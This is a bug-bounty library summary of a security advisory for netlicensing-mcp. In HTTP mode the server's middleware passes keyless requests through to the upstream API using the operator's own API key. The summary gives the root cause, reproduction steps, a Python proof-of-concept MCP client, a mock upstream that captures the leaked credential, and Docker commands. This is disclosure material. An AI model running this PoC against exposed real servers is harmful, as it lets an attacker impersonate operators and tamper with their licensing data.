# NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode

netlicensing-mcp HTTP mode middleware forwards requests lacking an API key, so unauthenticated attackers invoke MCP tools under the operator's server-side NetLicensing key.

- Payout: Research
- Severity: high
- Program: NetLicensing-MCP
- Found by: EQSTLab, knm6777
- Disclosed: 2026-07-14
- CVE: CVE-2026-54446
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x9vc-9ffq-p3gj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-x9vc-9ffq-p3gj
- Tags: area:ai domain:ai domain:api impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** MCP server HTTP transport endpoint (/mcp) with ApiKeyMiddleware
**Root cause:** ApiKeyMiddleware calls call_next unconditionally when no client key is supplied, and the client's api_key_ctx ContextVar defaults to the operator's NETLICENSING_API_KEY env var, so unauthenticated requests are authenticated upstream with the server's own credential.
**Steps:**
1. Deploy netlicensing-mcp in HTTP mode with `NETLICENSING_API_KEY=SERVERSECRET` and `NETLICENSING_BASE_URL` pointing at a mock upstream.
2. Connect an MCP client to `http://127.0.0.1:18181/mcp` with no `x-netlicensing-api-key` header and no `?apikey=` param.
3. Call `netlicensing_list_products` with `{"filter": ""}`.
4. Observe upstream request `GET /core/v2/rest/product` with `Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==` decoding to `apiKey:SERVERSECRET`.
**How found:** Code review of the middleware dispatch: noticed the `if key:` branch only sets the ContextVar when a key exists, then falls through to `return await call_next(request)` with no rejection; traced the ContextVar default to the env-var fallback in client.py.
**Exploitation:** Attacker sends unauthenticated MCP tool calls to the exposed /mcp endpoint; middleware passes them through, client falls back to the env-var key, and every upstream NetLicensing REST call executes under the operator's account, enabling read, create, modify, and delete of products/licenses/licensees.
**Insight:** In MCP/HTTP middleware, check the negative branch: a ContextVar defaulting to a server-side secret turns any 'optional auth' pass-through into full impersonation of the operator's upstream account.

## Proof of concept (copied exactly from the original report)

**Attacker MCP client with no API key**

```
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def main():
    async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            print(await session.call_tool("netlicensing_list_products", {"filter": ""}))

asyncio.run(main())
PY
```

**Mock upstream capturing Authorization header**

```
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("MOCK_REQUEST", self.command, self.path,
              self.headers.get("Authorization"), flush=True)
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"items": {"item": []}}).encode())
    def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
```

**Docker reproduction commands**

```
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .

# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing
```

